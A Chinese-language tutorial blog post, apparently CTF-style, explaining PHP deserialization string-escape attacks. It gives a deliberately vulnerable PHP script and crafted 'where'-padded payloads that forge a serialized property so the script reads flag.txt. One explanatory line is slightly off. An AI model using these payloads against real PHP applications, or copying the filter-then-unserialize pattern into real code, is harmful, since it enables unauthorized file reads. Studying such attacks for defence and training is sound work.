前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化字符逃逸

PHP反序列化字符逃逸

原创
作者头像
Gh0st1nTheShel
发布2022-07-26 10:39:35
3540
发布2022-07-26 10:39:35
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎大家关注我的微信公众号《壳中之魂》观看更多网安文章

PHP反序列化特性

O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"flag.txt";}123这一字符串进行反序列化并不会报错,而是会正常读取到里面的参数

即使是O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"tttt.txt";}s:3:"tar";s:8:"flag.txt";}也是可以正常读取到值,只不过只能读取到第一个tar值,后面的值就被忽略了 在一文件夹下有一文件flag.php和test.txt,以及一php文件,其内容如下

代码语言:php
复制
<?php
    class C{
        public $name = null;
        public $tar = null;
        public function change($name, $target){
            $this->name = $name;
            $this->tar = ".\\test\\" . $target;
        }
    }
    function filter($string) {
        $escape = array('\'');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);


        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }


    $C = new C();
    $C->change("g1ts", "word.txt");
    $serobj = serialize($C);
    var_dump($serobj);
    print("<br>");
    $serobj = filter($serobj);
    var_dump($serobj);
    print("<br>");


    $obj = unserialize($serobj);
    var_dump($obj->tar);
    print("<br>");
    var_dump(file_get_contents($obj->tar)); 
?>

这串代码能够正常输出test.txt的内容 如果我们想要输出当前目录下的flag.txt的内容,那么即使可以直接执行change函数,传入目标文件的名字值也是做不到的,如果可以利用过滤函数,来达到反序列化字符串逃逸 目前我们的反序列化后的值为 O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:15:".\test\word.txt";} 然后我们想要的值为 O:1:"C":2:{s:4:"name";s:4:"g1ts";s:3:"tar";s:8:"flag.txt";}

<a name="Qf9Ge"></a>

字符串变长

要点:判断payload的长度,然后在前一个参数逃逸掉payload的长度,让构造的payload得以插入 然后回看过滤函数

代码语言:php
复制
function filter($string) {
    $escape = array('\'');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

如果传入'select', 'insert', 'update', 'delete', 'where',则会替换为hacker,所以说,如果传入了where,替换为hacker,则会增加一个字符

代码语言:php
复制
string(89) "O:1:"C":2:{s:4:"name";s:25:"wherewherewherewherewhere";s:3:"tar";s:15:".\test\flag.txt";}"
string(94) "O:1:"C":2:{s:4:"name";s:25:"hackerhackerhackerhackerhacker";s:3:"tar";s:15:".\test\flag.txt";}" 

但实际可以看到,hackerhackerhackerhackerhacker其实长30,而不是显示的25,所以如果我们构造字符串,将前面闭合,然后再插入一个新的,,伪造的tar参数那么就可以构造出一个新的反序列化字符串 首先我们要确认需要插入构造内容的值的内容及长度 ";s:3:"tar";s:8:"flag.txt";} 此字符串共长28,每传入一个where就可以多出一个空传入payload,所以一共传入28个where就可以正常读取到payload wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:3:"tar";s:8:"flag.txt";}

字符串减少

要点:判断需要逃逸掉字符串的长度,然后在前一个参数里面构造长度,在目标参数里面传入需要的值 假如过滤函数为

代码语言:php
复制
function filter($string) {
    $escape = array('\'');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hhhh', $string);
}

也就是说每传入一个where就会多出一个字符串的长度,这种过滤则要前面的参数也要构造,后面的参数也要构造,首先先确定后面的参数 由于结尾是不会被逃逸掉的,我们要逃逸掉的字符其实是原来的代码安排的字符串,即";s:3:"tar";s:32:".\test\,这段字符串长25,所以要传入25个where name传入的参数为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere tar传入的参数为";s:3:"tar";s:8:"flag.txt 成功读取到flag

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHP反序列化特性
  • 字符串变长
  • 字符串减少
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档